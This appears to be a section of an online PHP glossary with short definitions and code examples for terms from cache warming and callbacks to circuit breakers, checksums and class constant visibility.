For code, PHP has its own form of warming: opcache compiles PHP source into opcodes on first execution and caches them in shared memory; a freshly started worker or a newly deployed server is cold until each file has been compiled at least once. OPcache preloading, see opcache-preloading, warms the code cache ahead of time by compiling an entire set of files at PHP-FPM startup, so the very first request already runs on precompiled opcodes.
Cache warming trades a slower, predictable startup, such as a deployment step or a health-check delay, for a faster and more predictable steady state, avoiding the thundering-herd effect of many cold requests competing to warm the same cache at once, see cache-stampede.
<?php
// Data warm-up: run after every deployment, before the server accepts traffic
function warmUpCache(CacheInterface $cache, ProductRepository $products): void
{
foreach ($products->findMostPopular(limit: 100) as $product) {
// Populate the cache proactively: the first real visitor gets a hit,
// not a cold miss that falls through to the database.
$cache->get("product:{$product->id}", fn () => $product, ttl: 3600);
}
}
// Code warm-up: compile the framework's core files into shared memory
// at PHP-FPM startup, referenced from opcache.preload in php.ini
function warmUpOpcache(iterable $files): void
{
foreach ($files as $file) {
opcache_compile_file($file); // precompiled: no parsing cost on first request
}
}
?>
See Also
Related
- Cache
- Hot Cache
- Cold Cache
- Cache Stampede
- Opcache
- OPcache Preloading
- Cold Start
- Time To Live (TTL)
- Deployment
Related packages
Cache
Cache, or caching, is a technique used to store and reuse the results of expensive operations to improve performance.
There are different types of caches, depending on where they are applied: opcode cache, data cache, query cache, etc.
<?php
$count = count($array);
// $count is a cache for the number of elements in the array
// it saves a call to count() for every loop
for($i = 0; $i < $count; ++$i) {
doSomething($i);
}
?>
See Also
Related
- Memoization
- Hoisting
- Horizontal Scaling
- Search Engine
- Search Engine Optimization (SEO)
- Serialization
- var_export()
- Determinism
- Load Balancer
- Deduplication
- Fingerprint
- Latency
- Rate Limiting
- Replay
- Time To Live (TTL)
- Cache Stampede
- Content Delivery Network (CDN)
- Eventual Consistency
- Shared Memory
- Temporary
- APCu
- Redis
- Source Of Truth
- Stale-While-Revalidate
- Cache Warming
- Cold Cache
- Hot Cache
- Memcached
- Weakmap
Calendar
The calendar extension provides functions to convert dates between different calendars, such as Gregorian, Julian Day Count, Unix Timestamp, French Revolutionary, Jewish, and others.
<?php
$julian_date = gregoriantojd($m, $d, $y);
$french = jdtofrench($julian_date);
echo $french;
?>
See Also
Related
Object Calisthenics
Object Calisthenics is a set of nine coding constraints, introduced by Jeff Bay, meant to be practiced as an exercise to force better object-oriented design habits, rather than followed strictly in production code at all times.
The nine rules are:
- Only one level of indentation per method.
- Don’t use the
elsekeyword. - Wrap primitive types and strings in dedicated classes.
- Use only one dot per line, limiting method chaining.
- Don’t abbreviate names.
- Keep entities, classes and packages, small.
- Limit instance variables to two per class.
- Use first-class collections, wrapping any collection in a dedicated class.
- Don’t use getters and setters.
Applying every rule everywhere, all the time, tends to produce over-engineered code; the value is in practicing them deliberately to notice where a design leans on primitives, deep nesting, or exposed state more than it should.
See Also
Related
- Clean Code
- SOLID
- Primitive Obsession
- Class Getter Method
- Class Setter Method
- Value Object
- Cognitive Complexity
- Cyclomatic Complexity
Call Graph
In programming languages, a call graph is a representation of the relationships between functions and methods in the codebase. It shows which functions call which other functions, and how data flows through the code.
The representation may be visual, or simply figurative, for further processing and analysis.
In the callgraph, the nodes represent functions or methods, edges represent calls from one function to another and the direction is usually an arrow from function A to function B means A calls B.
See Also
Related
Call
A call is the usage action of a definition or declaration.
A call may be a function call, a method call, a static method call or a closure call.
For example, a function is declared, then called. Calling an undefined structure is a fatal error.
A definition must happen before a call. The autoload process allows for last minute loading of a class definition.
A call is usually done on a callable type of data.
<?php
function trumpet() {}
// calling a function
trumpet();
// calling an undefined function
forage();
//Fatal error: Uncaught Error: Call to undefined function forage()
?>
See Also
Related
Callables
A callable is an object that can pass the callable type.
A callable may be a callback function or method, represented as a string, a closure or an arrow function.
Objects may also be callable, when their class implement the magic method __invoke().
<?php
function trumpet() { echo __METHOD__; }
call_user_func('trumpet');
?>
See Also
Related
- Callbacks
- Closure
- __invoke() Method
- Arrow Functions
- Callable Arrays
- Call
- Pseudo-type
- Special Types
- Identity
- PHP Natives
Callbacks
Callbacks are functions or methods which are used as parameters for other functions. Such functions are used to customize the calling function. For example, array_map(), which applies a callback to every element of an array, or usort(), which sorts an array using a function.
Callback is akin to a functioncall: it is actually hidden inside the caller function.
Callback may be build with on closures, arrow-functions, native PHP functions, methods and static methods. They also use string, such as strtolower, and array, such as [X::class, 'methodName'], or [$object, 'methodName'], syntax. In fact, anything that is_callable() may be used.
<?php
$array = ['Damien', 'Dan', 'Daniel', 'Davey', 'David', 'Dennis', 'Derick', 'Dmitry', 'Dustin',];
$array = array_map('strtolower', $array);
//['damien', 'dan', 'daniel', 'davey', 'david', 'dennis', 'derick', 'dmitry', 'dustin',];
?>
See Also
- The Wonderful World of Callbacks
- Using callbacks to prevent code duplication
- How to Use PHP Callbacks: Examples and Guide
Related
Callstack
Every time a function, or method, is called, PHP enters a new context. When the function call is finished, PHP exits that context. To keep track of the previous contexts, PHP stores them in a stack: that way, it pops the last context, and goes on.
The callstack is usually not visible explicitly. It may be accessed with the function debug_print_backtrace(), for debugging purposes.
The callstack is an important element of the execution path of PHP. In particular, the callstack should not be too deep. There are also means to limit the depth of the callstack, to avoid running into infinite recursions.
<?php
function migrate() {
trumpet();
}
function trumpet() {
forage();
}
function forage() {
debug_print_backtrace();
}
migrate();
// Displays
// #0 /in/lkZjr(8): forage()
// #1 /in/lkZjr(4): trumpet()
// #2 /in/lkZjr(15): migrate()
?>
See Also
Related
Camel Case
Camel case, also written camelCase is a way of writing names without spaces, where:
- The first word starts with a lowercase letter
- Each following word starts with an uppercase letter
The capital letters create humps like a camel’s back: this is the origin of the name.
Camel case is often used for method and variable names. Class names, on the other hand, use Pascal case.
<?php
function calculatePrice(int $price): int {
return $price * SALE_TAX_RATE;
}
?>
See Also
Related
Canary
Canary, borrowed from the miner’s canary once used to detect dangerous gas underground, has two distinct meanings in software engineering.
- A canary release, or canary deployment, is a rollout strategy where a new version is deployed to a small subset of servers or users first. Its behavior and metrics are monitored before the rollout is extended to everyone, which limits the blast radius of a regression. It is a close relative of the feature flag and of blue-green deployment.
- A stack canary, or stack cookie, is a known value placed on the call stack, right before a function’s return address. If a buffer overflow overwrites the return address, it also overwrites the canary first, so the corruption is detected before the corrupted address is ever used. It is a memory-safety technique specific to compiled, memory-unsafe languages such as C and C++.
PHP scripts do not manage the stack directly, so stack canaries are not a PHP-level concern; the Zend Engine that executes PHP, however, is itself written in C, and may benefit from stack canaries at the compiler level. Canary releases, on the other hand, are a common practice for deploying PHP applications.
<?php
// a simple canary release, gated by a user's id
if ($user->id % 100 < 5) { // only 5% of users see the new checkout flow
return new CheckoutFlowV2();
}
return new CheckoutFlowV1();
?>
See Also
Related
Cancellation
Cancellation is the ability to abort an ongoing asynchronous operation before it completes. In asynchronous and concurrent programming, long-running tasks such as HTTP requests, database queries, or timers may need to be stopped early to conserve resources or respond to user actions.
Cancellation is typically implemented through cancellation tokens: an object passed to an asynchronous operation that signals cancellation on demand. The operation periodically checks the token and stops if cancellation has been requested.
PHP async libraries such as Amp provide CancelledException and cancellation token support for fibers and promises.
See Also
Related
Related packages
Canned Response
A canned response is a fixed, pre-recorded answer that a test returns instead of calling the real service. For example, a test for an HTTP client can return a stored JSON body with status 200, rather than contacting the API.
Canned responses make tests deterministic: the same input always produces the same output, with no network, no quota and no change over time. They are often used together with a fake HTTP client or a mock handler, and can cover success cases, error codes such as 429 or 500, and malformed bodies.
Canned responses are only as good as the recording they come from. If the real API changes, the canned response goes stale, which is why contract tests exist.
See Also
Related
Canonical
Canonical PHP are the PHP recommended operators and functions. This adjective is often used in its non-canonical, to highlight that the feature exists, but is not recommended.
There are non-canonical functions, such as sizeof() versus count(), cast operators, such as boolean versus bool, property options, such as var versus public, constants, such as true versus 'on', etc.
Non-canonical operators are often a simple duplicate name for the same feature: they do not had any significant performance loss. In the end, they may be a question of taste or habits.
Canonical URL are HTML <link> tags that help prevent duplicate content issues by specifying the preferred or canonical version of a web page. This is crucial for SEO, because search engines penalize sites with duplicate content.
<?php
$array = [1, 2, 3];
echo sizeof($array); // 3
?>
See Also
Related
- Habit
- Cast Operator
- Universal Resource Locator (URL)
- Search Engine Optimization (SEO)
- PHP Native Function
CAP Theorem
The CAP theorem, also known as Brewer’s theorem, states that a distributed data store can provide at most two of the following three guarantees simultaneously:
- Consistency: every read receives the most recent write or an error. All nodes see the same data at the same time.
- Availability: every request receives a non-error response, though it may not reflect the most recent write.
- Partition tolerance: the system continues to operate even if network messages are dropped or delayed between nodes.
Since network partitions are unavoidable in real distributed systems, the practical choice is between CP, that is consistent and partition-tolerant, e.g., HBase, ZooKeeper, and AP, that is available and partition-tolerant, e.g., Cassandra, CouchDB.
PHP applications interact with distributed stores from the client side, selecting a backend that matches their consistency or availability requirements.
<?php
// CP: Redis with WAIT ensures synchronous replication before returning
$redis = new Redis();
$redis->connect('redis-primary', 6379);
$redis->set('balance', 100);
$redis->wait(1, 100); // wait for 1 replica, 100 ms timeout
// AP: reading from a replica may return stale data
$replica = new Redis();
$replica->connect('redis-replica', 6379);
$balance = $replica->get('balance'); // possibly a past value
?>
See Also
Related
- Distributed Systems
- Eventual Consistency
- Consistency
- Availability
- ACID
- Nosql Database
- Distributed Transactions
CAPTCHA
A CAPTCHA is a security test used on websites to tell whether the user is a human or a computer program, aka bot. The acronym CAPTCHA stands for Completely Automated Public Turing test to tell Computers and Humans Apart.
CAPTCHA comes in various shapes: they may be a difficult to read picture, a somewhat noisy sound, or various challenges where shapes have to be spotted inside a picture, or place above profiles.
See Also
- How CAPTCHAs work | What does CAPTCHA mean?
- PHP CAPTCHA Tutorial: Build a Custom Image CAPTCHA with GD
- How to Integrate Google reCAPTCHA v3 in a React App (Frontend + Backend)
Related
Related packages
Carriage Return
A carriage return is a whitespace character, that historically represents moving the cursor to the beginning of the line, without changing line. It is often combined to the line feed: on a typewriter, that combination is needed to move the carriage to the beginning of the next line. This does not apply anymore on computers.
A carriage return is represented by the escape sequence \r, in double quote strings. It is also the ASCII code 13.
Carriage return are important when formatting code, as they are at the end of a line.
<?php
echo "\r";
echo chr(13); // ASCII code 13
?>
See Also
Related
Cascading Failure
A cascading failure is a failure that starts in one component and propagates to dependent components, each overload or error triggering the next, until a localized problem becomes a system-wide outage. A single slow downstream service, for example, can exhaust the connection pool of every caller waiting on it, taking down services that had nothing wrong with them.
Cascading failures are common in tightly coupled, or distributed, systems: a database that slows down backs up application servers, which back up the load balancer, which starts timing out healthy requests too. The same pattern shows up in data pipelines: a single bad record, or an unhandled locale code, can silently drop, or corrupt, every dependent row downstream, so a small conversion bug is amplified into the majority of a migration failing without a loud error.
Cascading failures are mitigated with the same patterns as fault isolation: circuit breakers, that stop calling a failing dependency; timeouts, that prevent one slow call from blocking a thread pool indefinitely; bulkheads, that isolate resource pools between consumers; and retries with backoff, so a recovering service is not immediately overwhelmed again.
See Also
Related
- Cascading
- Fault Isolation
- Circuit Breaker
- Resilience
- Distributed Systems
- Referential Integrity
- Foreign Key (FK)
- Retry
- Backoff
- Bulkhead
- Deadline
- Jitter
Cascading
Cascading is the general pattern where an action, or a change, applied to one element automatically triggers the same, or a related, action on the elements that depend on it, propagating outward from the original point.
Cascading is a neutral, structural concept: it appears as a deliberate feature, such as ON DELETE CASCADE in a database, cascading style sheets, where a rule applies down through nested selectors, or cascading configuration, where a setting inherits from a parent scope unless overridden. It also appears as an unwanted side effect, as in a cascading failure, where a single fault propagates through dependent components until the whole system is affected.
Whether cascading is desirable depends entirely on whether the propagation is intended and bounded. A cascading delete that removes orphaned child rows is convenient; an unbounded cascade that silently deletes far more than expected is a bug. The same duality applies to type propagation, event propagation, and configuration inheritance, which are all instances of cascading.
See Also
Related
Case Sensitivity
Case sensitivity refers to the way PHP retrieves names when it looks for a definition: is it in a case-sensitive way, or case insensitive.
The case insensitive named structures are:
- Classes
- Enumerations
- Functions
- Interfaces
- Magic methods
- Magic constants
- Named parameters
- Methods
- Namespaces
- PHP keywords
- Traits
The case sensitive named structures are:
- Class constants
- Global constants, since PHP 8.0
- Array index
- Properties
- Variables
Case sensitivity has the potential to speed up PHP execution: the gain is a micro-optimisation, that requires millions of calls before yielding significant speed up.
The different case sensitivities in the language is balanced by the common practice to use the original case when using a structure.
<?php
// two distinct variables
$x = 1;
$X = 2;
// two identical calls
trumpet();
TRUMPET();
// Calling a class with its definition case
$db = new SQLite3();
// This is valid, and often reported by tools and conventions
$db = new SQLite3();
?>
See Also
Related
Case
case is a PHP keyword, which may be used in three distinct situations:
- With
switch()expression - With
match()expression - With enumeration
case is often complemented with default.
<?php
enum Suit
{
case Hearts;
case Diamonds;
case Clubs;
case Spades;
}
switch ($i) {
case 0:
echo "i equals 0";
break;
case 1:
echo "i equals 1";
break;
case 2:
echo "i equals 2";
break;
}
?>
See Also
Related
Cast Operator
Cast operators change the type of the variable to the desired type. Conversion between the current format and the target format may happen.
The available casts are:
(int),(integer): cast to integer(bool),(boolean): cast to boolean(float),(double): cast to float(string): cast to string(array): cast to array(object): cast to object, of typestdClass. There is no operator to convert to a specific class type.(void): complement operator to theNoDiscardattribute. It is not really a cast operator.(unset): cast to NULL, deprecated since PHP 7.2(real): cast to float.
<?php
$foo = 10; // $foo is an integer
$bar = (boolean) $foo; // $bar is a boolean
?>
See Also
- A detailed look into PHP type casting
- Mastering Data Type Conversion In Php Through Type Casting
- Conversions
- Mastering the (array) cast
Related
- __toString() Method
- Type Juggling
- ArrayObject
- Convert
- Non-numeric
- Sign
- array_keys()
- Boolean
- Golf
- Number
- Canonical
- get_object_vars()
- Type Coercion
- settype()
- Smart Cast
- Type Widening
Catch
catch is the complement clause of try. It defines which exception is caught. Optionally, it defines which variable holds the exception when it happens, since PHP 8.0.
Multiple catches may be used. They are applied in the order of writing, and the first clause which succeed is the last.
It is possible to catch multiple exceptions at the same time: in that case, the second exception is chained.
<?php
try {
callSomeMethod();
} catch (\SomeException $e) {
display("Warning");
} catch (\SomeSeriousException $e) {
display("Alert");
} catch (\Exception) {
// process the error here
}
?>
See Also
Related
Catchable Fatal Error
A catchable fatal error is a fatal error that PHP allows user code to intercept before the script terminates, instead of stopping execution unconditionally.
Since PHP 7, most fatal errors are represented as Error objects, which implement Throwable and can be intercepted with a try/catch block, making them catchable by nature. Before PHP 7, a narrower category existed as its own error level, E_RECOVERABLE_ERROR, notably raised when an object without a __toString() method was used in a string context; it could only be intercepted through a custom error handler set with set_error_handler(), not with catch.
If a catchable fatal error is not actually caught, it behaves exactly like an ordinary fatal error: execution stops.
<?php
class NoConversion {}
try {
$s = (string) new NoConversion(); // fatal error, but catchable
} catch (\Error $e) {
echo 'Caught: ' . $e->getMessage();
}
?>
See Also
Related
Continuous Delivery (CD)
Continuous delivery refers to the software development practice where the code changes are automatically built, tested, and prepared for release, so that the software can be deployed to production at any time with minimal manual effort.
See Also
Related
Content Delivery Network (CDN)
A Content Delivery Network, or CDN, is a geographically distributed network of proxy servers that delivers content to end-users from the node closest to them, reducing latency and offloading traffic from the origin server.
CDNs cache static assets, images, CSS, JavaScript, fonts, etc. and serve them with appropriate HTTP headers. They can also handle dynamic content acceleration, DDoS mitigation, TLS termination, and edge-side logic.
PHP contributes by setting correct HTTP caching headers so the CDN knows what to cache, for how long, and when to revalidate.
<?php
// Tell the CDN it may cache this response for 1 day; browsers for 1 hour
header('Cache-Control: public, max-age=3600, s-maxage=86400');
header('Vary: Accept-Encoding');
// Provide an ETag so the CDN can validate without a full download
$etag = md5_file(__DIR__ . '/asset.js');
header('ETag: "' . $etag . '"');
if (isset($_SERVER['HTTP_IF_NONE_MATCH']) && $_SERVER['HTTP_IF_NONE_MATCH'] === '"' . $etag . '"') {
http_response_code(304);
exit;
}
?>
See Also
Related
Centralization
Centralization is the concept to bring all identical elements at the same place.
For example, if a literal value is used throughout the code, it may be turned into a global constant, defined in one place, and used everywhere else.
Constants are a tool of centralization for values; functions and classes are a tool of centralization for commands.
Centralization helps the code, as changing one definition propagates the change to different and unrelated parts of the code.
Centralization is sometimes planned, and sometimes discovered with the tide. Then, it has to be extracted from the current code, as some minor local adaption may make it difficult to adapt.
Centralization is a necessary first step to standardisation.
It is also called federation.
See Also
Related
Common Gateway Interface (CGI)
CGI stands for Common Gateway Interface. It is a protocol, whose specification enables web server to execute programs. CGI is platform independent, and can be used with any programming language.
PHP may be build as a CGI, but also as a webserver module or a CGI server.
CGI was widely used in the early days of the web, more modern web development approaches, such as server-side scripting have largely replaced CGI in contemporary web development due to performance and security considerations.
See Also
Related
- FastCGI
- Command Line Interface (CLI)
- FastCGI Process Manager (FPM)
- Server Application Programming Interface (SAPI)
- Webserver
Chaining Assignation
Chaining assignation, also called chained assignment or assignment chaining, is the ability to assign the same value to several variables in a single expression, using successive = operators.
The assignment is evaluated from right to left: the rightmost value is assigned first, then the result propagates leftward. Each = operator returns the assigned value, which becomes the operand of the next assignment.
Note that magic methods such as __set() and __get() are never called during chaining assignments. Writing $a = $obj->b = 8; will not trigger __set() on $obj.
<?php
// Basic chaining assignation
$trunk = $herd = $tusk = 0;
// $trunk, $herd, $tusk are all 0
// Right-to-left evaluation
$ivory = ($calf = 5) + 3;
// $calf is 5, $ivory is 8
// Chaining with a function call
$arr = $count = count([1, 2, 3]);
// both $arr and $count are 3
?>
See Also
Related
Chaining New Without Parenthesis
Since PHP 8.4, it is possible to call a method, access a property or call the __invoke() method immediately upon instantiation, without parenthesis around the instantiation.
With this syntax, there must be parenthesis, albeit empty ones, after the new.
This should not be confused with calling new without parenthesis for the constructor.
<?php
class Elephpant {
public $property = 1;
public function trumpet() { echo __METHOD__; }
public function __invoke() { echo __METHOD__; }
}
new elephpant()->property; // 1
new elephpant()->trumpet(); // Elephpant::trumpet
new elephpant()(); // Elephpant::__invoke
?>
See Also
Related
Chaining
The word chaining appears in several distinct PHP concepts:
- Chaining assignation: assigning the same value to several variables in a single expression, using successive
=operators, e.g.$a = $b = $c = 0;. Evaluated right to left. Magic methods are not triggered - Method chaining: calling methods successively on the return value of the previous call, e.g.
$object->m1()->m2()->m3(). The result of each method call is used to call the next one - Fluent interface: an object-oriented API design pattern that relies extensively on method chaining to create readable, expressive code. Not related to the
interfacekeyword - Chaining exceptions: re-throwing a caught exception wrapped inside a new exception, preserving the original error context via
Exception::getPrevious() - Chaining new without parentheses: since PHP 8.4, calling a method, accessing a property, or invoking
__invoke()directly on anewexpression without wrapping it in parentheses, e.g.new X()->foo().
See Also
Related
- Chaining Assignation
- Fluent Interface
- Chaining Exceptions
- Chaining New Without Parenthesis
- Methodcall
- Expressive Interface
Change Data Capture
Change Data Capture, or CDC, is a pattern that tracks and records row-level changes in a database, such as inserts, updates, and deletes, and makes them available to other systems in near real-time.
Instead of periodically polling the database for differences, CDC taps into the database’s transaction log, such as the Write-Ahead Log in PostgreSQL or the binary log in MySQL, to detect changes as they are committed. This makes it both efficient and low-latency.
CDC is commonly used to feed downstream consumers such as search indexes, caches, analytics pipelines, or microservices that need to react to data changes without being tightly coupled to the originating system.
It is a natural complement to event-driven architectures: each database change becomes an event that can be published to a message broker like Kafka, allowing consumers to process it independently and asynchronously.
CDC also supports data replication and synchronization across heterogeneous systems, making it a key building block in ETL pipelines, data warehousing, and zero-downtime migrations.
See Also
Related
- Event Sourcing
- Event Driven
- Message Queue
- Pub/Sub
- Audit Trail
- Database
- Command Query Responsibility Segregation (CQRS)
- Migration
Channel
A channel is a typed, synchronized queue used to pass values between concurrent tasks, popularized by Go’s chan and modeled on Communicating Sequential Processes, CSP. Rather than sharing mutable memory protected by locks, tasks communicate by sending values through a channel, and the channel itself provides the necessary synchronization. A send can block until a receiver is ready, and a receive can block until a value is sent, depending on whether the channel is buffered.
CSP-style concurrency treats the channel, not the lock, as the primary coordination primitive, and languages built around it, in Go, in Clojure’s core.async, with Erlang-style message passing, encourage structuring concurrent programs as independent tasks connected by channels rather than as threads sharing state.
PHP has no native channel type. Concurrency primitives such as Fiber provide cooperative multitasking within a single thread, but communication between fibers or between processes must be built from lower-level tools: a SplQueue, a message queue extension, shared memory, or a userland library; none of these are integrated into the language as a first-class, typed, blocking channel the way Go’s chan is.
See Also
Related
Chaos Engineering
Chaos engineering, or chaos testing, is the practice of deliberately injecting failures, such as added latency, dropped packets, error responses, or killed processes, into a system in a controlled setting, in order to verify that it degrades the way its design intends rather than the way its authors merely hoped. Rather than reasoning about resilience only on paper, chaos engineering exercises the actual failure paths: does a circuit breaker really trip when a dependency starts erroring, do jittered retries really avoid a retry storm, does the error rate really stay inside the error budget.
A chaos drill typically starts in a staging environment and, once the team trusts the results, is cautiously extended to a small slice of production traffic. Common injected faults include artificial extra latency on a dependency, a percentage of 5xx responses, dropped or delayed network packets, and forced restarts of a process or a container. Each drill is run against a stated hypothesis, for example ‘if the payment API is 30% slower, checkouts still succeed within the SLO’, and is considered successful once it becomes boring, that is, once it stops surprising the team, rather than once it stops finding bugs.
PHP applications, because most of their resilience patterns, timeouts, retries, circuit breakers, bulkheads, are implemented by hand or through HTTP client middleware rather than a platform-level service mesh, particularly benefit from chaos drills to confirm that these patterns are actually wired up correctly end-to-end, and not merely present in the code.
See Also
Related
- Resilience
- Circuit Breaker
- Retry
- Bulkhead
- Canary
- Fault Isolation
- Blast Radius
- Service Level Agreement (SLA)
Character
A character is a unit of information, that represents represents letters, punctuation signs, ideogram, etc.
Characters may be represented as a byte, on 8 bits, but also on longer sequences, with UTF-8 or UTF-16. By default, PHP uses 8 bits, and there are several extensions to manipulate the encodings.
There is no dedicated type for characters: a string of one element is used for that purpose. There are some special constraints related to manipulating characters inside a string: it is possible to access individual character in a string, with the array syntax, both to read or modify them.
<?php
$string = 'abc';
echo $string[1]; // display b
var_dump($string[1]);
//string(1) b
?>
See Also
Related
- Encoding
- UTF-8
- American Standard Code for Information Interchange (ASCII)
- Byte
- Text Encoding
- Null Byte
Cheat Sheet
A cheat sheet is a concise, condensed reference document that summarizes the essential syntax, commands, or rules of a language, tool, or process on a single page or a short list, meant to be scanned quickly rather than read start to finish like a manual. Unlike full documentation, which aims to be complete and explain the reasoning behind each feature, a cheat sheet deliberately leaves out context and edge cases to keep only what a reader is most likely to need to look up in the moment, often organized as tables, short code snippets, or bullet lists grouped by topic. In the PHP and web security world, the OWASP Cheat Sheet Series is a widely cited example, offering focused, actionable guidance on specific vulnerability classes, such as cross-site scripting, injection, or insecure direct object references, and it is referenced throughout this dictionary as further reading for exactly that reason. Cheat sheets are useful both for newcomers getting oriented in an unfamiliar language or tool and for experienced developers who need a fast reminder of syntax or a checklist they do not use often enough to memorize.
See Also
Related
Checksum
A checksum is a small, fixed-size value derived from a longer piece of data, used to detect errors or verify integrity. It is akin to a fingerprint or a signature.
There are several algorithms to create a checksum: crc32, md5, sha1, sha256.
Checksums are extensively used to check file downloads and network transmissions; to verify stored data, identify revisions in VCS and validate components versions with package managers.
<?php
echo md5('PHP rocks!');
echo md5_file('/tmp/text.txt');
?>
See Also
Related
- Cyclic Redundancy Check 32-bit (CRC32)
- Message Digest Algorithm 5 (MD5)
- Secure Hash Algorithm (SHA)
- Version Control System (VCS)
- Fingerprint
- Package Manager
- Digital Signature
Child Class
A child class is a class that extends another class. There is no specific keyword related to child classes: unlike parent which is unique and defined, any class that extends a class is its child. A class may have several children.
A child class may be the direct child of a class, or any of the own child.
<?php
// parent class
class Elephpant { }
// child class
class AfricanElephpant extends Elephpant {}
// child class of Elephpant
// child class of AfricanElephpant
class Calf extends AfricanElephpant {}
?>
See Also
Related
Continuous Integration (CI)
Continuous integration refers to the automation of the build and test phase of development.
Every revision that is committed triggers an automated build and test. With continuous delivery, code changes are automatically tested, reviewed, and built for a release to production.
Since a lot of these operations a executed one after the other, they are called a pipeline.
Continuous integration is a building block for continuous delivery. This extended notion also include the automated release in production of the code.
See Also
Related
- Pipeline
- Release
- Revision
- Continuous Delivery (CD)
- Analysis
- DevOps
- Metrics
- Task Runner
- Test
- Tool
- Artifact
- Poisoned Pipeline Execution (PPE)
- Test Framework
- Build
- Git Hook
- Makefile
- Regression
- Test-Driven Development
- PHPStan
- Psalm
- Static Code Analysis (SCA)
- Test Impact Analysis
Circuit Breaker
A circuit breaker is a general software engineering design pattern used to improve the resilience and stability of distributed systems. It prevents cascading failures by monitoring the calls to external services, like APIs, databases, or microservices. When a service fails repeatedly, the circuit breaker triggers and stops further calls to that service for a predefined period, allowing the target system to recover, and the local service to report the unavailability without producing incorrect values.
After the timeout, it may allow a limited number of test calls to see if the service has recovered.
See Also
- CircuitBreaker
- Circuit Breaker Pattern in PHP
- PHP Circuit Breaker Pattern – Build Resilient, Fault-Tolerant Systems
- Implementing the Circuit Breaker Pattern in PHP
- Simple Circuit Breaker pattern implementation in PHP
Related
- Feature Flag
- Downtime
- Availability
- Quality of Service (QoS)
- Reliability
- Service Level Agreement (SLA)
- Canary
- Fault Isolation
- Resilience
- Retry
- Backoff
- Timeout
- Bulkhead
- Chaos Engineering
- Cascading Failure
- Deadline
- Jitter
- Stale-While-Revalidate
Related packages
Circular Reference
A circular reference is a situation where an object has a reference to another object, and vice versa. The circle of reference may have two or more objects.
Circular references create limitations with the garbage collector, which requires more refined checks before removing elements from memory. Usually, the garbage collector removes objects which are not referenced by another object. And, in the case of circular references, the whole circle seems to be in use. This leads to memory leaks.
<?php
$elephpant = new Elephpant();
$herd = new Herd($elephpant);
$elephpant->setHerd($herd);
class Elephpant {
private Herd $herd;
function setHerd(Herd $herd) {
$this->herd = $herd;
}
}
class Herd {
private Elephpant $elephpant;
function __construct(Elephpant $elephpant) {
$this->elephpant = $elephpant;
}
}
?>
See Also
Related
Class Interface Trait Enumeration (CITE)
CITE stands for Class Interface Trait Enumeration. It represents all four types of PHP structures, also called classlike structures, when they interact together.
In particular, all four of them share the same namespaces, which may create naming conflicts. This is unlike functions and constants, which both have their own namespaces.
<?php
class Elephpant {}
interface Migratory {}
trait Foraging {}
enum Habitat {}
const Elephpant = 1;
function Elephpant() {}
?>
See Also
Related
clamp()
clamp() is a native PHP function that limits a value to a range. It returns the value when it lies between min and max; otherwise, it returns the nearest bound.
Its semantics match the clamp functions of other languages, such as std::clamp in C++ and Math.clamp in Java.
If min is greater than max, or if either bound is NAN, a ValueError is thrown. The function is not limited to numbers: it works with any values that PHP can compare, so the usual comparison coercion rules apply.
Before PHP 8.6, a userland clamp package provides the same behavior.
<?php
echo clamp(10, min: 0, max: 100); // 10
echo clamp(101, min: 0, max: 100); // 100
echo clamp(-1, min: 0, max: 100); // 0
?>
See Also
Related
Class Aliases
It is possible to make an alias of a class and call it with this new name. It either relies on the use expression, preferable at the beginning of the namespace, or the class_alias() function, for dynamic and application-wide aliases.
use expressions are valid only in one file, while class_alias() impacts the whole application, once it is called. class_alias() may also be used with dynamic elements, such as variables.
<?php
use a as b;
class_alias('a', 'c');
class a {
function __construct() {
print __CLASS__;
}
}
new a;
new b;
new c;
?>
See Also
- PHP 8.3: class_alias() supports aliasing built-in PHP classes
- PHP Magic Methods and Class Aliases
- [How to deprecate a type in php](https://dev.to/greg0ire/how-to-deprecate-a-type-in-php-48cf /)
Related
Class Constant Syntax
The class constant syntax is the full name of a class constant, formalized in a string. It is namespace\class-name::constant-name.
That representation requires the name of the class to include the full namespace path, with or without the leading \.
The class constant syntax does not work with local use expressions.
The class constant syntax works with the constant() and defined() functions.
<?php
namespace Zoo\Habitat;
use Elephpant as Trunk;
class Elephpant {
const HABITAT = 'Savanna';
}
echo constant('\Zoo\Habitat\Elephpant::HABITAT');
echo constant('Zoo\Habitat\Elephpant::HABITAT');
echo constant('Trunk::HABITAT'); // error, no such class as Trunk
?>
See Also
Related
Class Constants Visibility
Class constant may have a visibility option. This limits their accessibility to the current class, its class hierarchy or any other class. Visibilities for class constants are: private, protected and public.
<?php
class x {
// This class can only be used in x
private const C1 = 1;
// This class can only be used in x and y
protected const C2 = 1;
// This class can be used in x, y and z
private const C3 = 1;
}
class y extends x {
// doSomething()
}
class z {
// doSomething()
}
?>
See Also
Related
Static Constant
Static constants are constants that are defined inside a class, an interface, a trait since PHP 8.2, or an enumeration; depending on the containing structure, they are also called an interface constant, a trait constant, or an enum constant.
Static constants have a visibility. Visibility may be public, protected, or private. By default, and for backward compatibility, a constant without a visibility is public.
Static constants may also be overwritten by child classes. They can also use the final keyword, to avoid such behavior.
Static constants are defined at coding time, and cannot be changed later, nor dynamically created.
Static constant syntax is the same as for enumeration cases.
<?php
class Elephpant {
public const HABITAT = 1;
private const WEIGHT = 2;
private const string TYPE = 'valid';
}
?>
See Also
- Everything You Should Know About PHP Const in Class
- Class Constants
- PHP 8.3 Typed Constants in Production
Related
- Visibility
- Final Keyword
- Constants In Trait
- Constants
- Dynamic Constant
- Special Constant
- Class Constant Syntax
- define()
- Literal
- New In Initializers
- Anonymous Constant
- Constant Case
- Dynamic Class Constant
- Typed Constant
- Name Conventions
- Const
- Modifier
- Scope Resolution Operator ::
- Static Class
- Class
Class Entities
An entity represents a single object, with a unique identifier and a set of properties. The entity is usually stored in a database for long times. The type of the entity is called its model.
See Also
Related
Class Hierarchy
The class hierarchy is a list of classes, which are extending one from another. The extended classes are parents, and the extending classes are children. Classes extending the same class are also called siblings.
The depth of the class hierarchy is a measure of the complexity.
<?php
class Elephpant {}
class AfricanElephpant extends Elephpant {}
class Calf extends AfricanElephpant {}
class PlayfulCalf extends Calf {}
class ShyCalf extends Calf {}
?>
See Also
Related
Class Hoisting
Class hoisting is a compilation mode where the declarations of functions, classes… are moved before their actual usage.
This allows the usage of functions that are declared later in the code.
PHP doesn’t do class hoisting: it does two passes on the code, and later, triggers the autoload if a class is missing.
<?php
// displays trumpet
trumpet();
function trumpet() { echo __FUNCTION__; }
?>
See Also
Related
Class Invasion
Objects of the same type have access to each others private and protected features, like properties, constants and methods, even though they are not the same instances.
